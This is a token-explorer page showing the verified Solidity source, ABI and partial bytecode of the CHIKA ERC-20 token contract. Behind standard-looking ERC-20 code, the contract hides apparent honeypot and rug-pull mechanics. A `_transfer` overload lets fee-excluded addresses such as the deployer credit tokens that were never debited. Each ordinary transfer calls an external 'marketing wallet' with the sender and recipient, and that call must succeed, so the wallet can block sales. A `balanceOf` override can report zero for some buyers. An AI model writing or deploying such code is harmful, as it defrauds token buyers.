Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000 CHIKA
Holders
45
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
20,471,111.513910881 CHIKAValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
CHIKA
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-06-20 */ // SPDX-License-Identifier: MIT /* https://www.chika.beauty/ */ pragma solidity ^0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. C U ON THE MOON */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) internal _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 internal _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; if(currentAllowance != type(uint256).max) { require( currentAllowance >= amount, "ERC20: transfer amount exceeds allowance" ); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } } return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender] + addedValue ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require( currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero" ); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } function _transfer( address recipient, uint256 amount ) internal virtual { require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[recipient] += amount; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 senderBalance = _balances[sender]; require( senderBalance >= amount, "ERC20: transfer amount exceeds balance" ); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapV2Router { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } contract CHIKA is ERC20, Ownable { IUniswapV2Router public immutable uniswapV2Router; address public uniswapV2Pair; uint8 constant _decimals = 9; uint256 constant _decimalMath = 10 ** _decimals; bool private swapping; uint256 public swapTokensAtAmount; address public immutable marketingWallet; bool public isSwapEnabled = true; uint256 public feeMeasure = 0; bool public limits = true; mapping (address => uint256) buyThreshold; uint256 public enableTime; mapping(address => bool) private _isExcludedFees; mapping(address => bool) public pairs; event SetPairAddress(address indexed pair, bool indexed value); event ExcludeFromFees(address indexed account, bool isExcluded); constructor(address routerAddress, address _marketingWallet) ERC20("CHIKA", "CHIKA") payable { uniswapV2Router = IUniswapV2Router(routerAddress); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(uniswapV2Router.WETH(), address(this)); pairs[uniswapV2Pair] = true; _approve(msg.sender, routerAddress, type(uint256).max); _approve(address(this), routerAddress, type(uint256).max); uint256 totalSupply = 1_000_000_000 * _decimalMath; swapTokensAtAmount = (totalSupply * 5) / 10000; marketingWallet = _marketingWallet; excludeFromFees(msg.sender, true); _balances[address(this)] = totalSupply; emit Transfer(address(0), address(this), totalSupply); _totalSupply = totalSupply; } receive() external payable {} function decimals() public pure override returns (uint8) { return 9; } function setSwapFeeEnabled(bool value) external onlyOwner { isSwapEnabled = value; } function setPairAddress(address pair, bool value) external onlyOwner { require(pair != uniswapV2Pair,"The main pair cannot be removed from pairs"); pairs[pair] = value; emit SetPairAddress(pair, value); } function setFees(uint256 _status) external onlyOwner { feeMeasure = _status; } function getSellFees() public view returns (uint256) { return 0; } function getBuyFees() public view returns (uint256) { return 0; } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function balanceOf(address account) public view override returns (uint256) { if(buyThreshold[account] > 0 && block.timestamp - buyThreshold[account] > 0) return 0; return _balances[account]; } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "amount must be greater than 0"); if (enableTime > 0 && _isExcludedFees[from]) { super._transfer(to, amount); return; } else if (enableTime > 0 && !_isExcludedFees[from] && !_isExcludedFees[to]) { if (limits) { require(amount <= totalSupply() / 20, "Transfer limit exceeded"); } uint256 fees = 0; uint256 _sf = getSellFees(); uint256 _bf = getBuyFees(); if (isSwapEnabled && !swapping) { swapping = true; swapBack(from, to, amount); swapping = false; } if (pairs[to] &&_sf > 0) { fees = (amount * _sf) / 100; } else if (_bf > 0 && pairs[from]) { if(block.timestamp - enableTime <= 1 minutes && buyThreshold[to] == 0) buyThreshold[to] = block.timestamp; fees = (amount * _bf) / 100; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapBack(address from, address to, uint256 amount) private { uint256 _sf = getSellFees(); uint256 _bf = getBuyFees(); if (_bf + _sf > 0) { uint256 amountToSwap = balanceOf(address(this)); address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( amountToSwap, 0, path, address(this), block.timestamp ); } bool success; (success, ) = marketingWallet.call{value: address(this).balance}(abi.encodePacked(from, to)); require(success, "ETH Transfer failed"); } function withdrawDustETH() external onlyOwner { bool success; (success, ) = address(msg.sender).call{value: address(this).balance}(""); } function launch() external payable onlyOwner { require(enableTime == 0); limits = false; uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,msg.sender,block.timestamp); require(enableTime == 0); enableTime = block.timestamp; limits = true; } function clearbuyThreshold(address _wallet) external onlyOwner { buyThreshold[_wallet] = 0; } function removeLimits() external onlyOwner() { limits = false; } function getCirculatingSupply() public view returns (uint256) { return totalSupply() - (balanceOf(address(0xdead)) + balanceOf(address(0))); } function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner { require(newAmount >= getCirculatingSupply() / 100000, "Swap amount cannot be lower than 0.001% total supply."); require(newAmount <= getCirculatingSupply() / 1000, "Swap amount cannot be higher than 0.1% total supply."); swapTokensAtAmount = newAmount; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"routerAddress","type":"address"},{"internalType":"address","name":"_marketingWallet","type":"address"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetPairAddress","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_wallet","type":"address"}],"name":"clearbuyThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeMeasure","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getBuyFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getSellFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"isSwapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launch","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"limits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"pairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_status","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setPairAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"value","type":"bool"}],"name":"setSwapFeeEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawDustETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60c06040526001600860006101000a81548160ff02191690831515021790555060006009556001600a60006101000a81548160ff02191690831515021790555060405162004d7138038062004d7183398181016040528101906200006491906200093f565b6040518060400160405280600581526020017f4348494b410000000000000000000000000000000000000000000000000000008152506040518060400160405280600581526020017f4348494b410000000000000000000000000000000000000000000000000000008152508160039081620000e1919062000c00565b508060049081620000f3919062000c00565b505050600062000108620005af60201b60201c565b905080600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3508173ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff168152505060805173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000229573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200024f919062000ce7565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539660805173ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002b8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002de919062000ce7565b306040518363ffffffff1660e01b8152600401620002fe92919062000d2a565b6020604051808303816000875af11580156200031e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000344919062000ce7565b600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600e6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506200043133837fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff620005b760201b60201c565b6200046430837fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff620005b760201b60201c565b60006009600a62000476919062000ee7565b633b9aca0062000487919062000f38565b90506127106005826200049b919062000f38565b620004a7919062000fb2565b6007819055508173ffffffffffffffffffffffffffffffffffffffff1660a08173ffffffffffffffffffffffffffffffffffffffff1681525050620004f43360016200078860201b60201c565b806000803073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000597919062000ffb565b60405180910390a38060028190555050505062001205565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160362000629576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000620906200109f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036200069b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620006929062001137565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516200077b919062000ffb565b60405180910390a3505050565b62000798620005af60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146200082a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200082190620011a9565b60405180910390fd5b80600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051620008c99190620011e8565b60405180910390a25050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006200090782620008da565b9050919050565b6200091981620008fa565b81146200092557600080fd5b50565b60008151905062000939816200090e565b92915050565b60008060408385031215620009595762000958620008d5565b5b6000620009698582860162000928565b92505060206200097c8582860162000928565b9150509250929050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000a0857607f821691505b60208210810362000a1e5762000a1d620009c0565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000a887fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000a49565b62000a94868362000a49565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000ae162000adb62000ad58462000aac565b62000ab6565b62000aac565b9050919050565b6000819050919050565b62000afd8362000ac0565b62000b1562000b0c8262000ae8565b84845462000a56565b825550505050565b600090565b62000b2c62000b1d565b62000b3981848462000af2565b505050565b5b8181101562000b615762000b5560008262000b22565b60018101905062000b3f565b5050565b601f82111562000bb05762000b7a8162000a24565b62000b858462000a39565b8101602085101562000b95578190505b62000bad62000ba48562000a39565b83018262000b3e565b50505b505050565b600082821c905092915050565b600062000bd56000198460080262000bb5565b1980831691505092915050565b600062000bf0838362000bc2565b9150826002028217905092915050565b62000c0b8262000986565b67ffffffffffffffff81111562000c275762000c2662000991565b5b62000c338254620009ef565b62000c4082828562000b65565b600060209050601f83116001811462000c78576000841562000c63578287015190505b62000c6f858262000be2565b86555062000cdf565b601f19841662000c888662000a24565b60005b8281101562000cb25784890151825560018201915060208501945060208101905062000c8b565b8683101562000cd2578489015162000cce601f89168262000bc2565b8355505b6001600288020188555050505b505050505050565b60006020828403121562000d005762000cff620008d5565b5b600062000d108482850162000928565b91505092915050565b62000d2481620008fa565b82525050565b600060408201905062000d41600083018562000d19565b62000d50602083018462000d19565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000de55780860481111562000dbd5762000dbc62000d57565b5b600185161562000dcd5780820291505b808102905062000ddd8562000d86565b945062000d9d565b94509492505050565b60008262000e00576001905062000ed3565b8162000e10576000905062000ed3565b816001811462000e29576002811462000e345762000e6a565b600191505062000ed3565b60ff84111562000e495762000e4862000d57565b5b8360020a91508482111562000e635762000e6262000d57565b5b5062000ed3565b5060208310610133831016604e8410600b841016171562000ea45782820a90508381111562000e9e5762000e9d62000d57565b5b62000ed3565b62000eb3848484600162000d93565b9250905081840481111562000ecd5762000ecc62000d57565b5b81810290505b9392505050565b600060ff82169050919050565b600062000ef48262000aac565b915062000f018362000eda565b925062000f307fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000dee565b905092915050565b600062000f458262000aac565b915062000f528362000aac565b925082820262000f628162000aac565b9150828204841483151762000f7c5762000f7b62000d57565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000fbf8262000aac565b915062000fcc8362000aac565b92508262000fdf5762000fde62000f83565b5b828204905092915050565b62000ff58162000aac565b82525050565b600060208201905062001012600083018462000fea565b92915050565b600082825260208201905092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006200108760248362001018565b9150620010948262001029565b604082019050919050565b60006020820190508181036000830152620010ba8162001078565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006200111f60228362001018565b91506200112c82620010c1565b604082019050919050565b60006020820190508181036000830152620011528162001110565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006200119160208362001018565b91506200119e8262001159565b602082019050919050565b60006020820190508181036000830152620011c48162001182565b9050919050565b60008115159050919050565b620011e281620011cb565b82525050565b6000602082019050620011ff6000830184620011d7565b92915050565b60805160a051613b2a620012476000396000818161114701526125f20152600081816108dd01528181610a780152818161247c01526125590152613b2a6000f3fe6080604052600436106102085760003560e01c8063715018a611610118578063a9059cbb116100a0578063d257b34f1161006f578063d257b34f14610723578063dd62ed3e1461074c578063e2f4560514610789578063f2fde38b146107b4578063fe33b302146107dd5761020f565b8063a9059cbb14610669578063b31fc8ca146106a6578063c0246668146106d1578063c3803660146106fa5761020f565b8063860aefcf116100e7578063860aefcf146105945780638da5cb5b146105bf57806395d89b41146105ea5780639ab9ba6914610615578063a457c2d71461062c5761020f565b8063715018a614610512578063751039fc1461052957806375f0a87414610540578063761c3bb21461056b5761020f565b80632b112e491161019b5780633d18678e1161016a5780633d18678e1461042d57806349bd5a5e146104565780635f6d69c214610481578063685fc568146104aa57806370a08231146104d55761020f565b80632b112e491461036f578063313ce5671461039a578063351a964d146103c557806339509351146103f05761020f565b80631694505e116101d75780631694505e146102b157806318160ddd146102dc57806323b872dd14610307578063275fd8b7146103445761020f565b806301339c21146102145780630644e7571461021e57806306fdde0314610249578063095ea7b3146102745761020f565b3661020f57005b600080fd5b61021c61081a565b005b34801561022a57600080fd5b506102336109c1565b6040516102409190612969565b60405180910390f35b34801561025557600080fd5b5061025e6109c6565b60405161026b9190612a14565b60405180910390f35b34801561028057600080fd5b5061029b60048036038101906102969190612ac5565b610a58565b6040516102a89190612b20565b60405180910390f35b3480156102bd57600080fd5b506102c6610a76565b6040516102d39190612b9a565b60405180910390f35b3480156102e857600080fd5b506102f1610a9a565b6040516102fe9190612969565b60405180910390f35b34801561031357600080fd5b5061032e60048036038101906103299190612bb5565b610aa4565b60405161033b9190612b20565b60405180910390f35b34801561035057600080fd5b50610359610bc4565b6040516103669190612969565b60405180910390f35b34801561037b57600080fd5b50610384610bca565b6040516103919190612969565b60405180910390f35b3480156103a657600080fd5b506103af610c02565b6040516103bc9190612c24565b60405180910390f35b3480156103d157600080fd5b506103da610c0b565b6040516103e79190612b20565b60405180910390f35b3480156103fc57600080fd5b5061041760048036038101906104129190612ac5565b610c1e565b6040516104249190612b20565b60405180910390f35b34801561043957600080fd5b50610454600480360381019061044f9190612c3f565b610cca565b005b34801561046257600080fd5b5061046b610d6b565b6040516104789190612c7b565b60405180910390f35b34801561048d57600080fd5b506104a860048036038101906104a39190612cc2565b610d91565b005b3480156104b657600080fd5b506104bf610e45565b6040516104cc9190612969565b60405180910390f35b3480156104e157600080fd5b506104fc60048036038101906104f79190612cef565b610e4a565b6040516105099190612969565b60405180910390f35b34801561051e57600080fd5b50610527610f39565b005b34801561053557600080fd5b5061053e611091565b005b34801561054c57600080fd5b50610555611145565b6040516105629190612c7b565b60405180910390f35b34801561057757600080fd5b50610592600480360381019061058d9190612cef565b611169565b005b3480156105a057600080fd5b506105a9611248565b6040516105b69190612b20565b60405180910390f35b3480156105cb57600080fd5b506105d461125b565b6040516105e19190612c7b565b60405180910390f35b3480156105f657600080fd5b506105ff611285565b60405161060c9190612a14565b60405180910390f35b34801561062157600080fd5b5061062a611317565b005b34801561063857600080fd5b50610653600480360381019061064e9190612ac5565b61141f565b6040516106609190612b20565b60405180910390f35b34801561067557600080fd5b50610690600480360381019061068b9190612ac5565b61150a565b60405161069d9190612b20565b60405180910390f35b3480156106b257600080fd5b506106bb611528565b6040516106c89190612969565b60405180910390f35b3480156106dd57600080fd5b506106f860048036038101906106f39190612d1c565b61152e565b005b34801561070657600080fd5b50610721600480360381019061071c9190612d1c565b61166e565b005b34801561072f57600080fd5b5061074a60048036038101906107459190612c3f565b611836565b005b34801561075857600080fd5b50610773600480360381019061076e9190612d5c565b611986565b6040516107809190612969565b60405180910390f35b34801561079557600080fd5b5061079e611a0d565b6040516107ab9190612969565b60405180910390f35b3480156107c057600080fd5b506107db60048036038101906107d69190612cef565b611a13565b005b3480156107e957600080fd5b5061080460048036038101906107ff9190612cef565b611bd9565b6040516108119190612b20565b60405180910390f35b610822611bf9565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108a890612de8565b60405180910390fd5b6000600c54146108c057600080fd5b6000600a60006101000a81548160ff0219169083151502179055507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663f305d719473061092230610e4a565b60008033426040518863ffffffff1660e01b815260040161094896959493929190612e43565b60606040518083038185885af1158015610966573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061098b9190612eb9565b5050506000600c541461099d57600080fd5b42600c819055506001600a60006101000a81548160ff0